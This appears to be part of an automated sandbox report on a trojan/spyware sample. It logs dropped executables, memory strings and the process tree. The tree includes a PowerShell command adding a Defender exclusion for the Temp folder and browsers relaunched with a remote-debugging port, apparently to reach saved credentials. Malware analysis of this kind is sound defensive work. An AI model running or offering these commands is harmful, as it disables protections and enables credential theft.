Source: uLkHEqZ3u3.exe, 00000000.00000003.2417713055.0000000006276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2412265131.0000000006232000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2413116872.0000000006237000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2416321312.0000000006379000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2410556722.00000000062DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2411235605.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2414504375.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2412628197.0000000006147000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2415019523.0000000006354000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2418215164.000000000639F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2413598282.0000000006334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2409464791.00000000061FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434785081.0000000005DA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2416178617.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2410924870.0000000006225000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2409563518.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2413465453.000000000623E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2411820789.0000000006155000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2414752579.0000000006150000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2405953473.0000000006152000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2410174213.0000000006150000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2412742300.000000000622A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2418061025.0000000006269000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2409745335.0000000006155000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2408694524.000000000614D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2420115531.000000000628F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2407223892.00000000061F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2415634147.0000000006375000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2412145231.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2415127228.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2420675379.0000000006148000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2418831387.0000000006284000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2409088711.00000000061F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2405719149.0000000006154000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2415393755.000000000614E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2405848211.00000000061F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2419245721.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2408166673.0000000006290000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2410046905.0000000006216000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2417042414.0000000006150000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2410728939.000000000614E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2409220354.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2415525874.000000000625A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2403297430.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434935607.000000000154A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2416771488.0000000006394000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2408352517.000000000614D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2411084619.0000000006155000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2416618290.0000000006273000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2417412829.00000000063A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2412507628.0000000006233000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2408871863.0000000006201000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uLkHEqZ3u3.exe

Source: uLkHEqZ3u3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uLkHEqZ3u3.exe	Static PE information: Section: ZLIB complexity 0.9972575984589042
Source: uLkHEqZ3u3.exe	Static PE information: Section: iqaraqez ZLIB complexity 0.994654394244868

Source: random[1].exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.16.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: CGIJECFIEC.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@48/60@19/13

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6C990300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

5_2_6C990300

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DZKPIL2C5DR0YB6M.exe.log

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

File created: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: uLkHEqZ3u3.exe, 00000000.00000003.2224605113.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2223521257.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2696931287.0000000005C05000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2834641292.0000000005BF9000.00000004.00000020.00020000.00000000.sdmp, CAKKJKKECFIDGDHIJEGD.5.dr, HDGIEBGHDAEBGDGCFIID.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084227653.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: uLkHEqZ3u3.exe

ReversingLabs: Detection: 60%

Source: DZKPIL2C5DR0YB6M.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DZKPIL2C5DR0YB6M.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

File read: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\uLkHEqZ3u3.exe "C:\Users\user\Desktop\uLkHEqZ3u3.exe"
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process created: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe "C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe"
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process created: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe "C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe"
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2264,i,17984383435334559491,9685032236867275934,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2284,i,14841880276472698510,10541286515019937422,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,16280527193402925112,7809612728727619200,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\CGIJECFIEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\CGIJECFIEC.exe "C:\Users\user\Documents\CGIJECFIEC.exe"
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe "C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process created: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe "C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe"	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process created: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe "C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\CGIJECFIEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2264,i,17984383435334559491,9685032236867275934,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2284,i,14841880276472698510,10541286515019937422,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
